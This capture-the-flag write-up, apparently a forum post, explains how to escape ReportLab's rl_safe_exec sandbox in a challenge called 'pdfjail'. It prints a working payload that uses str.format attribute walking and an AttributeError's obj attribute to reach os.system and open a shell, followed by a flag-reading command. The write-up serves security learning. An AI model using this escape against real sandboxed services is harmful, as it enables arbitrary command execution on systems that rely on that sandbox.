[PlfanzenCTF] [MISC] pdfjail

The escape was short because Python helpfully attached the dangerous object to the exception.

The jail read one ASCII line under 120 bytes and executed it with ReportLab's rl_safe_exec.

The useful primitive was str.format. Format strings can walk attributes in ways that bypass ReportLab's rewritten attribute checks. This path reaches the real os.system function through ReportLab's own globals:
Code:
str.format('{.__init__.__globals__[os].system.x}', bin)
The final .x lookup intentionally fails. On Python 3.14, the resulting AttributeError has a public obj attribute that points to the object the lookup failed on. In this case, that object is os.system.

The payload

The payload opens a shell:
Code:
try: str.format('{.__init__.__globals__[os].system.x}',bin)
except Exception as e: e.obj('sh')

The carriage return between try and except is intentional. input() stops at newline, but the carriage return remains in the code string and Python treats it as a line break.

The one-shot /readflag call did not fit under the limit. A shell did. After the shell started, we just send:
Code:
/readflag "$(strings /readflag|grep ,)"
 
Back
Top